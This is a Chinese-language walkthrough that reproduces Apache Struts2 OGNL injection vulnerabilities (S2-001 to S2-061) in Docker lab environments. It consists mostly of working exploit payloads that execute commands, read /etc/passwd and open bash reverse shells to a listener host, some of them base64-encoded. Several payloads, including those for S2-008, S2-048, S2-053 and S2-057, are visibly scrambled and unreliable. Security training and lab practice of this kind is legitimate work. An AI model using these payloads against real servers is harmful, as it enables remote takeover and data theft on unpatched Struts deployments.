Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小。
S2-001
该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
进入s2-001的docker漏洞环境
首先使用%{'test'}
进行测试漏洞是否存在
返回了test,证明存在漏洞
使用payload进行测试,返回了tomcatBinDir{/usr/local/tomcat}
1 | %{"tomcatBinDir{"+ .lang.System +"}"} |
使用payload执行whoami
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
使用payload执行cat /etc/password
命令
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
S2-005
s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上。
XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:
1 | user.address.city=Bishkek&user['favoriteDrink']=kumys |
触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
S2-003 使用\u0023绕过s2对#的防御
S2-003 后官方增加了安全模式(沙盒)
S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
影响版本: 2.0.0 - 2.1.8.1
进入s2-005的docker环境
抓包添加payload执行往/tmp/目录下写入success文件的操作
1 | (%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1 |
进入docker容器查看,在tmp目录下已经创建了success文件
S2-007
在s2-007页面的文本框中,age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞
进入s2-007的docker漏洞环境
执行payload列出当前目录下的所有文件
1 | %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27ls%20/%27%29.getInputStream%28%29%29%29+%2B+%27 |
添加payload执行whoami
1 | %27+%2B+%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew+java.lang.Boolean%28%22false%22%29+%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%29+%2B+%27 |
也可以直接在age文本框处使用payload
1 | ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExe cution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + ' |
即可得到id
S2-008
s2-008漏洞产生的原因,主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码,传入?debug=command&expression=即可执行OGNL表达式
进入s2-008的docker环境
在GET包处添加payload执行whoami
1 | devmode.action?debug=command&expression=(%23_memberAccess=3f(%23context[%23parameters.rpsobj[0]].getWriter().println( .apache.commons.io.IOUtils )):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=whoami .OgnlContext )% |
S2-009
Struts2对S2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;后来Struts2对S2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。
但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1
的方法来执行它,从而绕过官方对#、\等特殊字符的防御。
影响版本Struts 2.1.0-2.3.1.1
进入S2-009的docker环境
访问192.168.1.8:8080/ajax/example5
,此为存在漏洞的界面
将payload拼接读取passwd文件
1 | http://192.168.1.8:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)] |
S2-012
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:
1 | <package name="S2-012" extends="struts-default"> |
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行
进入s2-012的docker环境
直接在文本框内执行payload读取passwd
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
点击提交即可读取到passwd
S2-013
Struts2 标签中 <s:a> 和 <s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下: none - 链接不包含请求的任意参数值(默认) get - 链接只包含 GET 请求中的参数和其值 all - 链接包含 GET 和 POST 所有参数和其值 <s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。
进入s2-013的docker环境
这里直接构造链接并进行url编码:
1 | ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())} |
认准exec执行系统命令即可,flag在环境变量里面,构造:
1 | http://192.168.1.8:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27env%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D |
S2-015
s2-015漏洞远程攻击者可借助带有‘${}’和‘%{}’序列值(可导致判断OGNL代码两次)的请求,利用该漏洞执行任意OGNL代码
进入s2-015的docker环境
首先构造{1+1}得到payload
1 | http://192.168.1.8:8080/${1+1}.action |
执行后自动编码得到如下,在message处会回显
1 | http://192.168.1.8:8080/$%7B1+1%7D.action |
构造payload显示id
1 | http://192.168.1.8:8080/%24%7b%23%63%6f%6e%74%65%78%74%5b%27%78%77%6f%72%6b%2e%4d%65%74%68%6f%64%41%63%63%65%73%73%6f%72%2e%64%65%6e%79%4d%65%74%68%6f%64%45%78%65%63%75%74%69%6f%6e%27%5d%3d%66%61%6c%73%65%2c%23%6d%3d%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2e%67%65%74%43%6c%61%73%73%28%29%2e%67%65%74%44%65%63%6c%61%72%65%64%46%69%65%6c%64%28%27%61%6c%6c%6f%77%53%74%61%74%69%63%4d%65%74%68%6f%64%41%63%63%65%73%73%27%29%2c%23%6d%2e%73%65%74%41%63%63%65%73%73%69%62%6c%65%28%74%72%75%65%29%2c%23%6d%2e%73%65%74%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%2c%74%72%75%65%29%2c%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%69%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%2c%23%71%7d%2e%61%63%74%69%6f%6e |
这里在message处得到id需要进行url解码
S2-016
在struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令
进入s2-016的docker环境
构造payload执行,可以发现执行过后网址后面出现了id
1 | http://192.168.1.8:8080/index.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D |
S2-032
当启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。
method:
进入s2-032的docker环境
构造payload返回1001060253718则代表可代码执行
1 | http://192.168.1.8:8080/memoindex.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context[%23parameters.obj[0]].getWriter().print(%23parameters.content[0]%2b602%2b53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10010 |
构造payload输出id
1 | http://192.168.1.8:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id |
S2-045
Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。
影响范围
Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10
进入s2-045的docker环境
构造payload任意命令执行
1 | Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" |
对于payload的一些解释
来获取上下文容器 #container=#context[‘com.opensymphony.xwork2.ActionContext.container’]
通过容器实例化,对Ognl API的通用访问,设置和获取属性 #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
判断目标主机的操作系统类型,并进行执行命令赋值 #iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd })
执行攻击命令 #p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
S2-046
s2-046漏洞的利用有点特殊,需要满足以下几个条件:
1、系统必须使用 Jakarta 插件,检查 Struts2 配置文件中是否有以下配置:<constant name =“struts.multipart.parser”value =“jakarta-stream”/>
2、上传文件的大小(由 Content-LSength 头指定)大于 Struts2 允许的最大大小(2GB)
3、文件名内容构造恶意的 OGNL 内容。
如果满足以上要求,Struts2 受影响版本将创建一个包含攻击者控制的异常文件名,使用 OGNL 值堆栈来定位错误消息,OGNL 值堆栈将插入任何 OGNL 变量($ {}或%{})作为 OGNL 表达式,然后实现任意代码执行。
与045相同,046也是OGNL注入,但出现在上传请求的文件名字段中,并且需要NUL字节来拆分有效负载和其余字符串。
进入s2-046的docker环境
点击submit进行抓包,可以看到这里的filename正常情况下是为空的
构造payload执行1+99
1 | %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',1+99)}\x00b |
这里需要进行00截断,进入hex将30改为00
然后发包,可以看到X-Test这个地方已经执行了1+99并输出了结果
那么这里就可以构造一个poc进行bash反弹,还是要进行00阶段,nc监听端口,发包即可得到反弹shell
1 | "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.1.8/7777 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b" |
S2-048
这个漏洞主要问题出在struts2-struts1-plugin这个插件包上。这个库的主要作用就是将struts1的action封装成struts2的action以便它能在strut2上运行使用。
而由于struts2-struts1-plugin 包中的 “Struts1Action.java” 中的 execute 函数可以调用 getText() 函数,这个函数刚好又能执行OGNL表达式,同事这个 getText() 的 参数输入点,又可以被用户直接进行控制,用户可控的值添加到 ActionMessage 并在客户前端展示,导致其进入 getText 函数,最后 message 被当作 ognl 表达式执行如果这个点被恶意攻击者所控制,就可以构造恶意执行代码,从而实现一个RCE攻击。
进入s2-048的docker环境
进入http://192.168.1.8:8080/integration/saveGangster.action
漏洞页面,尝试运算1+1
可以看到这里得到了运算结果,说明存在漏洞
那么这里构造一个payload用来输出id
1 | %{(#dm='com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q= .apache.commons.io.IOUtils ).(#q)} .OgnlContext ).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[ |
构造payload输出whoami
1 | %{(#dm='com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q= .apache.commons.io.IOUtils ).(#q)} .OgnlContext ).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[ |
S2-052
s2-052产生漏洞的原因是REST插件使用到XStreamHandler处理xml数据,由于未对xml数据做任何过滤,在进行发序列xml数据转换为Object时导致RCE
进入s2-052的docker环境
进入页面后随便点击一个成员进行编辑并点击submit进行抓包
这里可以看到Content-Type为application/x-www-form-urlencoded
构造一个xml文件
1 | <map> |
首先将Content-Type改为application/xml
,然后将xml文件插入,发包返回500证明已经成功
进入tmp目录查看success文件已经创建成功
S2-053
s2-053漏洞产生的原因是Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成离开一个表达式,被OGNL解析第二次,导致任意命令执行漏洞。
进入s2-053的docker环境
首先执行%{33-1}
并提交,可以看到在Your url的地方运算出了结果,说明存在漏洞
构造payload输出id并提交
1 | %{(#dm='com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=( .lang.System .toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).( .apache.commons.io.IOUtils )} .OgnlContext ).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[ |
执行bash反弹命令,用nc监听端口即可得到反弹shell
1 | %{(#dm='com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance( .opensymphony.xwork2.ognl.OgnlUtil )).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.1.8/7777 0>&1').(#iswin=( .lang.System .toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).( .apache.commons.io.IOUtils )} .OgnlContext ).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[ |
S2-057
s2-057漏洞产生于网站配置XML时如果没有设置namespace的值,并且上层动作配置中并没有设置或使用通配符namespace时,可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使用通配符namespace,从而导致远程代码执行漏洞的发生。
alwaysSelectFullNamespace被设置为true,此时namespace的值是从URL中获取的。URL是可控的,所以namespace也是可控的action元素没有名称空间属性集,或者使用通配符。该名称空间将由用户从URL传递并解析为OGNL表达式,最终导致远程代码执行的脆弱性。
进入s2-057的docker环境
首先构造12+34回车
发现运算出了结果,说明存在漏洞
构造payload输出id
1 | ${ (#dm='struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance( .opensymphony.xwork2.ognl.OgnlUtil )).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a= .lang.Runtime .exec('id')).( .apache.commons.io.IOUtils )} .OgnlContext ).(#ct=#request[ |
进行url编码
得到如下payload
1 | %24%7B%20(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D |
bp抓包在GET处进行拼接得到id
1 | GET /struts2-showcase/%24%7B%20(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B%27struts.valueStack%27%5D.context).(%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27id%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1 |
在exec处修改要执行得命令即可
S2-059
s2-059产生的原因为攻击者可以通过构造恶意的OGNL表达式,并将其设置到可被外部输入进行修改,且会执行OGNL表达式的Struts2标签的属性值,引发OGNL表达式解析,最终造成远程代码执行的影响。
进入s2-059的docker环境
访问8080看到有一个input:id
传参id=2进入发现出现在了input id:这个地方
这里构造id=%25{10*10}
,发现自动进行了运算
使用bash反弹,先进行编码
1 | bash -i >& /dev/tcp/192.168.1.8/7777 0>&1 |
编码后结果如下
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i} |
生成一个test.py,将bash编码放入py
1 | import requests |
执行即可得到反弹shell
S2-061
s2-061漏洞产生的原因是Struts2 会对某些标签属性(比如 id
,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x}
且 x
的值用户可控时,用户再传入一个 %{payload}
即可造成OGNL表达式执行。S2-061是对S2-059沙盒进行的绕过
进入s2-061的docker环境
还是构造一个%25{10*10}
发现运算成功,证明漏洞存在
bp在index.action
页面抓包
修改Content-Type
如下并添加数据,这里如果直接使用GET方法是得不到回显的
1 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF |
改为POST方法即可得到id
配合dnslog食用同理
1 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF |
bash反弹命令需要先进行编码,同之前操作
1 | bash -i >& /dev/tcp/192.168.1.8/7777 0>&1 |
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i} |
1 | ------WebKitFormBoundaryl7d1B1aGsV2wcZwF |
nc监听端口即可得到反弹shell